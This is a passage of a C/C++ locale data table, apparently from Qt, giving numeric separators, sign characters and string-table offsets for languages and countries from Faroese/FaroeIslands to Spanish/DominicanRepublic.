82,17 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 3547,48 , 3595,83 , 320,12 , 113,7 , 113,7 , 297,14 , 2259,28 , 2287,74 , 113,7 , 2,0 , 2,0 }, // Faroese/FaroeIslands - { 36, 73, 44, 160, 59, 37, 48, 45, 43, 101, 626,8 , 634,17 , 284,4 , 288,8 , 158,12 , 158,12 , 796,24 , 3678,69 , 3747,129 , 320,12 , 113,7 , 113,7 , 2361,14 , 2375,21 , 2396,81 , 113,7 , 62,3 , 59,3 }, // Finnish/Finland - { 37, 74, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/France - { 37, 21, 44, 46, 59, 37, 48, 45, 43, 101, 573,7 , 109,16 , 36,5 , 296,22 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/Belgium - { 37, 38, 44, 160, 59, 37, 48, 45, 43, 101, 125,8 , 109,16 , 36,5 , 241,23 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/Canada - { 37, 125, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/Luxembourg - { 37, 142, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/Monaco - { 37, 187, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/Senegal - { 37, 206, 46, 39, 59, 37, 48, 45, 43, 101, 356,8 , 10,17 , 36,5 , 318,13 , 158,12 , 158,12 , 134,24 , 3876,63 , 3939,85 , 320,12 , 113,7 , 113,7 , 2477,14 , 2491,35 , 2526,52 , 113,7 , 0,2 , 0,2 }, // French/Switzerland - { 40, 197, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 82,17 , 36,5 , 41,9 , 158,12 , 158,12 , 820,24 , 4024,48 , 4072,87 , 320,12 , 113,7 , 113,7 , 2578,14 , 2592,28 , 2620,49 , 113,7 , 2,0 , 2,0 }, // Galician/Spain - { 41, 81, 44, 46, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 844,24 , 4159,48 , 4207,99 , 320,12 , 113,7 , 113,7 , 2669,14 , 2683,28 , 2711,62 , 113,7 , 2,0 , 2,0 }, // Georgian/Georgia - { 42, 82, 44, 46, 59, 37, 48, 45, 43, 101, 356,8 , 524,18 , 36,5 , 41,9 , 868,33 , 158,12 , 134,24 , 4306,48 , 4354,83 , 320,12 , 113,7 , 113,7 , 2773,14 , 2787,28 , 2815,60 , 113,7 , 65,5 , 62,6 }, // German/Germany - { 42, 14, 44, 46, 59, 37, 48, 45, 43, 101, 356,8 , 651,19 , 36,5 , 41,9 , 868,33 , 158,12 , 134,24 , 4437,48 , 4485,83 , 320,12 , 113,7 , 113,7 , 2773,14 , 2787,28 , 2815,60 , 113,7 , 65,5 , 62,6 }, // German/Austria - { 42, 21, 44, 46, 59, 37, 48, 45, 43, 101, 573,7 , 109,16 , 36,5 , 241,23 , 868,33 , 158,12 , 134,24 , 4568,48 , 4354,83 , 320,12 , 113,7 , 113,7 , 2773,14 , 2875,28 , 2815,60 , 113,7 , 65,5 , 62,6 }, // German/Belgium - { 42, 123, 46, 39, 59, 37, 48, 45, 43, 101, 356,8 , 524,18 , 36,5 , 41,9 , 868,33 , 158,12 , 134,24 , 4306,48 , 4354,83 , 320,12 , 113,7 , 113,7 , 2773,14 , 2787,28 , 2815,60 , 113,7 , 65,5 , 62,6 }, // German/Liechtenstein - { 42, 125, 44, 46, 59, 37, 48, 45, 43, 101, 356,8 , 524,18 , 36,5 , 41,9 , 868,33 , 158,12 , 134,24 , 4306,48 , 4354,83 , 320,12 , 113,7 , 113,7 , 2773,14 , 2787,28 , 2815,60 , 113,7 , 65,5 , 62,6 }, // German/Luxembourg - { 42, 206, 46, 39, 59, 37, 48, 45, 43, 101, 356,8 , 524,18 , 36,5 , 41,9 , 868,33 , 158,12 , 134,24 , 4306,48 , 4354,83 , 320,12 , 113,7 , 113,7 , 2773,14 , 2787,28 , 2815,60 , 113,7 , 65,5 , 62,6 }, // German/Switzerland - { 43, 85, 44, 46, 59, 37, 48, 45, 43, 101, 598,10 , 133,18 , 18,7 , 25,11 , 158,12 , 901,115 , 1016,24 , 4616,50 , 4666,115 , 320,12 , 113,7 , 113,7 , 2903,14 , 2917,28 , 2945,55 , 113,7 , 70,4 , 68,4 }, // Greek/Greece - { 43, 56, 44, 46, 59, 37, 48, 45, 43, 101, 598,10 , 133,18 , 18,7 , 25,11 , 158,12 , 901,115 , 1016,24 , 4616,50 , 4666,115 , 320,12 , 113,7 , 113,7 , 2903,14 , 2917,28 , 2945,55 , 113,7 , 70,4 , 68,4 }, // Greek/Cyprus - { 44, 86, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 82,17 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 3129,48 , 4781,96 , 320,12 , 113,7 , 113,7 , 297,14 , 3000,28 , 3028,98 , 113,7 , 2,0 , 2,0 }, // Greenlandic/Greenland - { 46, 100, 46, 44, 59, 37, 2790, 45, 43, 101, 670,7 , 109,16 , 331,8 , 68,12 , 158,12 , 158,12 , 194,27 , 4877,67 , 4944,87 , 320,12 , 113,7 , 113,7 , 297,14 , 3126,32 , 3158,53 , 113,7 , 74,14 , 72,14 }, // Gujarati/India - { 47, 83, 46, 44, 59, 37, 48, 45, 43, 101, 293,6 , 218,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1040,24 , 5031,48 , 5079,84 , 320,12 , 113,7 , 113,7 , 3211,14 , 3225,28 , 3253,51 , 113,7 , 0,2 , 0,2 }, // Hausa/Ghana - { 47, 156, 46, 44, 59, 37, 48, 45, 43, 101, 293,6 , 218,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1040,24 , 5031,48 , 5079,84 , 320,12 , 113,7 , 113,7 , 3211,14 , 3225,28 , 3253,51 , 113,7 , 0,2 , 0,2 }, // Hausa/Niger - { 47, 157, 46, 44, 59, 37, 48, 45, 43, 101, 293,6 , 218,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1040,24 , 5031,48 , 5079,84 , 320,12 , 113,7 , 113,7 , 3211,14 , 3225,28 , 3253,51 , 113,7 , 0,2 , 0,2 }, // Hausa/Nigeria - { 47, 201, 46, 44, 59, 37, 48, 45, 43, 101, 293,6 , 218,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1040,24 , 5031,48 , 5079,84 , 320,12 , 113,7 , 113,7 , 3211,14 , 3225,28 , 3253,51 , 113,7 , 0,2 , 0,2 }, // Hausa/Sudan - { 48, 105, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 36,5 , 41,9 , 1064,15 , 1064,15 , 194,27 , 5163,48 , 5211,72 , 320,12 , 113,7 , 113,7 , 3304,14 , 3304,14 , 3318,61 , 113,7 , 88,6 , 86,5 }, // Hebrew/Israel - { 49, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 677,6 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 5283,75 , 5283,75 , 320,12 , 113,7 , 113,7 , 3379,16 , 3395,32 , 3427,53 , 113,7 , 94,9 , 91,7 }, // Hindi/India - { 50, 98, 44, 160, 59, 37, 48, 45, 43, 101, 683,11 , 694,13 , 180,4 , 209,8 , 158,12 , 158,12 , 1079,24 , 5358,64 , 5422,98 , 320,12 , 113,7 , 113,7 , 3480,14 , 3494,19 , 3513,52 , 113,7 , 103,3 , 98,3 }, // Hungarian/Hungary - { 51, 99, 44, 46, 59, 37, 48, 8722, 43, 101, 626,8 , 524,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1103,24 , 5520,48 , 5568,82 , 320,12 , 113,7 , 113,7 , 3565,14 , 3579,28 , 3607,81 , 113,7 , 2,0 , 2,0 }, // Icelandic/Iceland - { 52, 101, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 82,17 , 180,4 , 209,8 , 158,12 , 158,12 , 194,27 , 5650,48 , 5698,87 , 320,12 , 113,7 , 113,7 , 297,14 , 3688,28 , 3716,43 , 113,7 , 2,0 , 2,0 }, // Indonesian/Indonesia - { 57, 104, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 109,16 , 36,5 , 41,9 , 158,12 , 158,12 , 1127,24 , 5785,62 , 5847,107 , 320,12 , 113,7 , 113,7 , 3759,14 , 3773,37 , 3810,75 , 113,7 , 58,4 , 55,4 }, // Irish/Ireland - { 58, 106, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 109,16 , 166,5 , 171,9 , 158,12 , 1151,56 , 1207,24 , 5954,48 , 6002,94 , 320,12 , 113,7 , 3885,57 , 3942,14 , 3956,28 , 3984,57 , 113,7 , 106,2 , 101,2 }, // Italian/Italy - { 58, 206, 46, 39, 59, 37, 48, 45, 43, 101, 356,8 , 10,17 , 166,5 , 318,13 , 158,12 , 1151,56 , 1207,24 , 5954,48 , 6002,94 , 320,12 , 113,7 , 3885,57 , 3942,14 , 3956,28 , 3984,57 , 113,7 , 106,2 , 101,2 }, // Italian/Switzerland - { 59, 108, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 459,13 , 180,4 , 339,8 , 494,39 , 158,12 , 194,27 , 2860,39 , 2860,39 , 320,12 , 113,7 , 113,7 , 4041,14 , 4041,14 , 4055,28 , 113,7 , 108,2 , 103,2 }, // Japanese/Japan - { 61, 100, 46, 44, 59, 37, 48, 45, 43, 101, 677,6 , 109,16 , 331,8 , 68,12 , 158,12 , 158,12 , 194,27 , 6096,86 , 6096,86 , 320,12 , 113,7 , 113,7 , 297,14 , 4083,28 , 4111,53 , 113,7 , 110,9 , 105,7 }, // Kannada/India - { 63, 110, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 707,22 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 6182,61 , 6243,83 , 320,12 , 113,7 , 113,7 , 297,14 , 4164,28 , 4192,54 , 113,7 , 2,0 , 2,0 }, // Kazakh/Kazakhstan - { 64, 179, 44, 46, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 6326,60 , 6386,101 , 320,12 , 113,7 , 113,7 , 297,14 , 4246,35 , 4281,84 , 113,7 , 2,0 , 2,0 }, // Kinyarwanda/Rwanda - { 65, 116, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 134,27 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Kirghiz/Kyrgyzstan - { 66, 114, 46, 44, 59, 37, 48, 45, 43, 101, 729,9 , 738,16 , 347,7 , 354,15 , 1231,39 , 1231,39 , 1231,39 , 6487,39 , 6487,39 , 320,12 , 113,7 , 113,7 , 4365,14 , 4365,14 , 4379,28 , 113,7 , 119,2 , 112,2 }, // Korean/RepublicOfKorea - { 67, 217, 46, 44, 59, 37, 48, 45, 43, 101, 99,10 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 320,12 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 113,7 , 297,14 , 113,7 , 2,0 , 2,0 }, // Kurdish/Turkey - { 69, 117, 46, 44, 59, 37, 48, 45, 43, 101, 388,8 , 754,21 , 180,4 , 369,20 , 158,12 , 158,12 , 194,27 , 6526,63 , 6589,75 , 320,12 , 113,7 , 113,7 , 297,14 , 4407,24 , 4431,57 , 113,7 , 2,0 , 2,0 }, // Laothian/Lao - { 71, 118, 44, 160, 59, 37, 48, 45, 43, 101, 775,6 , 781,26 , 36,5 , 41,9 , 158,12 , 158,12 , 134,24 , 6664,48 , 6712,101 , 320,12 , 4488,19 , 113,7 , 4507,14 , 4521,16 , 4537,72 , 113,7 , 2,0 , 2,0 }, // Latvian/Latvia - { 72, 49, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 6813,39 , 6852,203 , 320,12 , 113,7 , 113,7 , 297,14 , 4609,23 , 4632,98 , 113,7 , 2,0 , 2,0 }, // Lingala/DemocraticRepublicOfCongo - { 72, 50, 46, 44, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 6813,39 , 6852,203 , 320,12 , 113,7 , 113,7 , 297,14 , 4609,23 , 4632,98 , 113,7 , 2,0 , 2,0 }, // Lingala/PeoplesRepublicOfCongo - { 73, 124, 44, 46, 59, 37, 48, 8722, 43, 101, 99,10 , 807,26 , 36,5 , 41,9 , 158,12 , 1270,96 , 1366,24 , 7055,48 , 7103,98 , 320,12 , 113,7 , 113,7 , 4730,14 , 4744,21 , 4765,89 , 113,7 , 121,9 , 114,6 }, // Lithuanian/Lithuania - { 74, 127, 44, 46, 59, 37, 48, 45, 43, 101, 833,7 , 133,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1390,24 , 7201,63 , 7264,85 , 7349,14 , 113,7 , 113,7 , 1256,14 , 4854,34 , 4888,54 , 113,7 , 2,0 , 2,0 }, // Macedonian/Macedonia - { 76, 130, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 840,16 , 389,4 , 25,11 , 158,12 , 158,12 , 194,27 , 7363,49 , 7412,82 , 320,12 , 113,7 , 113,7 , 297,14 , 4942,28 , 4970,43 , 113,7 , 2,0 , 2,0 }, // Malay/Malaysia - { 76, 32, 44, 46, 59, 37, 48, 45, 43, 101, 598,10 , 586,12 , 180,4 , 393,13 , 158,12 , 158,12 , 194,27 , 7363,49 , 7412,82 , 320,12 , 113,7 , 113,7 , 297,14 , 4942,28 , 4970,43 , 113,7 , 2,0 , 2,0 }, // Malay/BruneiDarussalam - { 77, 100, 46, 44, 59, 37, 48, 45, 43, 101, 565,8 , 856,18 , 18,7 , 25,11 , 158,12 , 158,12 , 1414,30 , 7494,66 , 7560,101 , 320,12 , 113,7 , 5013,17 , 5030,14 , 5044,22 , 5066,47 , 5113,9 , 2,0 , 2,0 }, // Malayalam/India - { 78, 133, 46, 44, 59, 37, 48, 45, 43, 101, 598,10 , 874,23 , 36,5 , 41,9 , 158,12 , 158,12 , 1444,24 , 7661,48 , 7709,85 , 320,12 , 113,7 , 113,7 , 5122,14 , 5136,28 , 5164,63 , 113,7 , 130,2 , 120,2 }, // Maltese/Malta - { 80, 100, 46, 44, 59, 37, 48, 45, 43, 101, 677,6 , 109,16 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 7794,87 , 7794,87 , 320,12 , 113,7 , 113,7 , 297,14 , 5227,32 , 5259,53 , 113,7 , 132,5 , 122,5 }, // Marathi/India - { 82, 44, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 7881,48 , 7929,66 , 320,12 , 113,7 , 113,7 , 297,14 , 5312,21 , 5333,43 , 113,7 , 2,0 , 2,0 }, // Mongolian/China - { 82, 143, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 7881,48 , 7929,66 , 320,12 , 113,7 , 113,7 , 297,14 , 5312,21 , 5333,43 , 113,7 , 2,0 , 2,0 }, // Mongolian/Mongolia - { 84, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1468,27 , 7995,56 , 8051,85 , 320,12 , 113,7 , 113,7 , 5376,14 , 5390,33 , 5423,54 , 113,7 , 2,0 , 2,0 }, // Nepali/India - { 84, 150, 46, 44, 59, 37, 2406, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1468,27 , 7995,56 , 8051,85 , 320,12 , 113,7 , 113,7 , 5376,14 , 5390,33 , 5423,54 , 113,7 , 2,0 , 2,0 }, // Nepali/Nepal - { 85, 161, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 634,17 , 166,5 , 406,15 , 158,12 , 158,12 , 134,24 , 8136,59 , 8195,83 , 320,12 , 113,7 , 113,7 , 1995,14 , 5477,35 , 2037,51 , 113,7 , 137,9 , 127,11 }, // Norwegian/Norway - { 87, 100, 46, 44, 59, 37, 2918, 45, 43, 101, 565,8 , 897,17 , 18,7 , 25,11 , 158,12 , 158,12 , 194,27 , 8278,89 , 8278,89 , 320,12 , 113,7 , 113,7 , 297,14 , 5512,33 , 5545,54 , 113,7 , 2,0 , 2,0 }, // Oriya/India - { 88, 1, 1643, 1644, 59, 1642, 1776, 8722, 43, 101, 914,8 , 922,20 , 180,4 , 421,10 , 158,12 , 158,12 , 194,27 , 8367,31 , 8398,68 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 5599,49 , 113,7 , 146,4 , 138,4 }, // Pashto/Afghanistan - { 89, 102, 1643, 1644, 1563, 1642, 1776, 8722, 43, 101, 942,6 , 948,21 , 180,4 , 421,10 , 158,12 , 1495,70 , 1565,24 , 8466,74 , 8466,74 , 320,12 , 113,7 , 113,7 , 5648,14 , 5599,49 , 5599,49 , 113,7 , 150,10 , 142,10 }, // Persian/Iran - { 89, 1, 1643, 1644, 1563, 1642, 1776, 8722, 43, 101, 942,6 , 948,21 , 180,4 , 421,10 , 158,12 , 1495,70 , 1589,24 , 8540,63 , 8603,68 , 320,12 , 113,7 , 113,7 , 5648,14 , 5599,49 , 5599,49 , 113,7 , 150,10 , 142,10 }, // Persian/Afghanistan - { 90, 172, 44, 160, 59, 37, 48, 45, 43, 101, 125,8 , 10,17 , 36,5 , 41,9 , 158,12 , 1613,97 , 1710,24 , 8671,48 , 8719,99 , 320,12 , 113,7 , 113,7 , 5662,14 , 5676,34 , 5710,59 , 113,7 , 0,2 , 0,2 }, // Polish/Poland - { 91, 173, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 969,27 , 36,5 , 431,16 , 158,12 , 158,12 , 134,24 , 8818,48 , 8866,89 , 320,12 , 113,7 , 113,7 , 5769,14 , 5783,28 , 5811,79 , 113,7 , 160,17 , 152,18 }, // Portuguese/Portugal - { 91, 30, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 969,27 , 36,5 , 447,18 , 158,12 , 158,12 , 134,24 , 8955,48 , 9003,89 , 320,12 , 113,7 , 113,7 , 5769,14 , 5783,28 , 5811,79 , 113,7 , 0,2 , 0,2 }, // Portuguese/Brazil - { 92, 100, 46, 44, 59, 37, 2662, 45, 43, 101, 996,9 , 133,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1734,27 , 9092,68 , 9092,68 , 320,12 , 113,7 , 113,7 , 5890,23 , 5913,38 , 5951,55 , 113,7 , 177,5 , 170,4 }, // Punjabi/India - { 92, 163, 46, 44, 59, 37, 2662, 45, 43, 101, 996,9 , 133,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1734,27 , 9092,68 , 9092,68 , 320,12 , 113,7 , 113,7 , 5890,23 , 5913,38 , 5951,55 , 113,7 , 177,5 , 170,4 }, // Punjabi/Pakistan - { 95, 141, 44, 46, 59, 37, 48, 45, 43, 101, 1005,10 , 10,17 , 36,5 , 41,9 , 158,12 , 158,12 , 1761,24 , 9160,60 , 9220,98 , 320,12 , 113,7 , 6006,14 , 2477,14 , 6020,16 , 6036,48 , 113,7 , 0,2 , 0,2 }, // Romanian/Moldova - { 95, 177, 44, 46, 59, 37, 48, 45, 43, 101, 1005,10 , 10,17 , 36,5 , 41,9 , 158,12 , 158,12 , 1761,24 , 9160,60 , 9220,98 , 320,12 , 113,7 , 6006,14 , 2477,14 , 6020,16 , 6036,48 , 113,7 , 0,2 , 0,2 }, // Romanian/Romania - { 96, 178, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 1015,22 , 180,4 , 209,8 , 1785,62 , 1847,80 , 1927,24 , 9318,63 , 9381,82 , 320,12 , 113,7 , 6084,62 , 6146,14 , 6160,21 , 6181,62 , 113,7 , 0,2 , 0,2 }, // Russian/RussianFederation - { 96, 222, 44, 160, 59, 37, 48, 45, 43, 101, 356,8 , 1015,22 , 36,5 , 41,9 , 1785,62 , 1847,80 , 1927,24 , 9318,63 , 9381,82 , 320,12 , 113,7 , 6084,62 , 6146,14 , 6160,21 , 6181,62 , 113,7 , 0,2 , 0,2 }, // Russian/Ukraine - { 99, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 670,7 , 109,16 , 331,8 , 68,12 , 158,12 , 158,12 , 194,27 , 134,27 , 134,27 , 320,12 , 113,7 , 113,7 , 297,14 , 297,14 , 297,14 , 113,7 , 2,0 , 2,0 }, // Sanskrit/India - { 100, 241, 44, 46, 59, 37, 48, 45, 43, 1077, 1037,7 , 1044,20 , 166,5 , 171,9 , 158,12 , 158,12 , 1390,24 , 9463,48 , 9511,81 , 320,12 , 113,7 , 113,7 , 6243,14 , 6257,28 , 6285,52 , 113,7 , 182,8 , 174,7 }, // Serbian/SerbiaAndMontenegro - { 100, 27, 44, 46, 59, 37, 48, 45, 43, 1077, 125,8 , 1044,20 , 36,5 , 465,39 , 158,12 , 158,12 , 1390,24 , 9463,48 , 9592,83 , 320,12 , 113,7 , 113,7 , 6243,14 , 6337,28 , 6365,54 , 113,7 , 182,8 , 174,7 }, // Serbian/BosniaAndHerzegowina - { 100, 238, 44, 46, 59, 37, 48, 45, 43, 1077, 1037,7 , 1044,20 , 166,5 , 171,9 , 158,12 , 158,12 , 1390,24 , 9463,48 , 9511,81 , 320,12 , 113,7 , 113,7 , 6243,14 , 6257,28 , 6285,52 , 113,7 , 182,8 , 174,7 }, // Serbian/Yugoslavia - { 101, 241, 46, 44, 59, 37, 48, 45, 43, 101, 99,10 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1951,24 , 9675,48 , 9723,81 , 320,12 , 113,7 , 113,7 , 1811,14 , 6419,28 , 6447,54 , 113,7 , 0,2 , 0,2 }, // SerboCroatian/SerbiaAndMontenegro - { 101, 27, 46, 44, 59, 37, 48, 45, 43, 101, 99,10 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1951,24 , 9675,48 , 9723,81 , 320,12 , 113,7 , 113,7 , 1811,14 , 6419,28 , 6447,54 , 113,7 , 0,2 , 0,2 }, // SerboCroatian/BosniaAndHerzegowina - { 101, 238, 46, 44, 59, 37, 48, 45, 43, 101, 99,10 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 1951,24 , 9675,48 , 9723,81 , 320,12 , 113,7 , 113,7 , 1811,14 , 6419,28 , 6447,54 , 113,7 , 0,2 , 0,2 }, // SerboCroatian/Yugoslavia - { 102, 120, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 9804,48 , 9852,105 , 320,12 , 113,7 , 113,7 , 297,14 , 6501,27 , 6528,61 , 113,7 , 2,0 , 2,0 }, // Sesotho/Lesotho - { 102, 195, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 9804,48 , 9852,105 , 320,12 , 113,7 , 113,7 , 297,14 , 6501,27 , 6528,61 , 113,7 , 2,0 , 2,0 }, // Sesotho/SouthAfrica - { 103, 195, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 9957,48 , 10005,117 , 320,12 , 113,7 , 113,7 , 297,14 , 6589,27 , 6616,64 , 113,7 , 2,0 , 2,0 }, // Setswana/SouthAfrica - { 106, 198, 46, 44, 59, 37, 48, 45, 43, 101, 72,10 , 1064,17 , 18,7 , 25,11 , 158,12 , 158,12 , 1975,32 , 10122,54 , 10176,92 , 320,12 , 113,7 , 113,7 , 6680,19 , 6699,30 , 6729,62 , 113,7 , 190,5 , 181,4 }, // Singhalese/SriLanka - { 107, 195, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 10268,48 , 10316,114 , 320,12 , 113,7 , 113,7 , 297,14 , 6791,27 , 6818,68 , 113,7 , 2,0 , 2,0 }, // Siswati/SouthAfrica - { 107, 204, 44, 160, 59, 37, 48, 45, 43, 101, 236,8 , 244,18 , 36,5 , 41,9 , 158,12 , 158,12 , 194,27 , 10268,48 , 10316,114 , 320,12 , 113,7 , 113,7 , 297,14 , 6791,27 , 6818,68 , 113,7 , 2,0 , 2,0 }, // Siswati/Swaziland - { 108, 191, 44, 160, 59, 37, 48, 45, 43, 101, 626,8 , 524,18 , 180,4 , 209,8 , 158,12 , 158,12 , 1951,24 , 10430,48 , 10478,82 , 320,12 , 113,7 , 113,7 , 6886,14 , 6900,21 , 6921,52 , 113,7 , 2,0 , 2,0 }, // Slovak/Slovakia - { 109, 192, 44, 46, 59, 37, 48, 45, 43, 101, 382,6 , 651,19 , 180,4 , 209,8 , 158,12 , 158,12 , 1951,24 , 9675,48 , 10560,86 , 320,12 , 113,7 , 113,7 , 6973,14 , 6987,28 , 7015,52 , 113,7 , 2,0 , 2,0 }, // Slovenian/Slovenia - { 110, 194, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 2007,24 , 10646,48 , 10694,189 , 320,12 , 113,7 , 113,7 , 7067,14 , 7081,28 , 7109,47 , 113,7 , 195,2 , 185,2 }, // Somali/Somalia - { 110, 59, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 2007,24 , 10646,48 , 10694,189 , 320,12 , 113,7 , 113,7 , 7067,14 , 7081,28 , 7109,47 , 113,7 , 195,2 , 185,2 }, // Somali/Djibouti - { 110, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 2007,24 , 10646,48 , 10694,189 , 320,12 , 113,7 , 113,7 , 7067,14 , 7081,28 , 7109,47 , 113,7 , 195,2 , 185,2 }, // Somali/Ethiopia - { 110, 111, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 53,19 , 18,7 , 25,11 , 158,12 , 158,12 , 2007,24 , 10646,48 , 10694,189 , 320,12 , 113,7 , 113,7 , 7067,14 , 7081,28 , 7109,47 , 113,7 , 195,2 , 185,2 }, // Somali/Kenya - { 111, 197, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Spain - { 111, 10, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 504,13 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Argentina - { 111, 26, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Bolivia - { 111, 43, 44, 46, 59, 37, 48, 45, 43, 101, 565,8 , 427,26 , 180,4 , 41,9 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Chile - { 111, 47, 44, 46, 59, 37, 48, 45, 43, 101, 573,7 , 427,26 , 180,4 , 41,9 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/Colombia - { 111, 52, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/CostaRica - { 111, 61, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 36,5 , 68,12 , 158,12 , 158,12 , 2031,24 , 10883,48 , 10931,89 , 320,12 , 113,7 , 113,7 , 2477,14 , 7156,28 , 7184,53 , 113,7 , 58,4 , 55,4 }, // Spanish/DominicanRepublic - { 111, 63, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 427,26 , 180,4 , 41,9 , 158,12 , 158,12 , 2031,24 , 10883,48 , 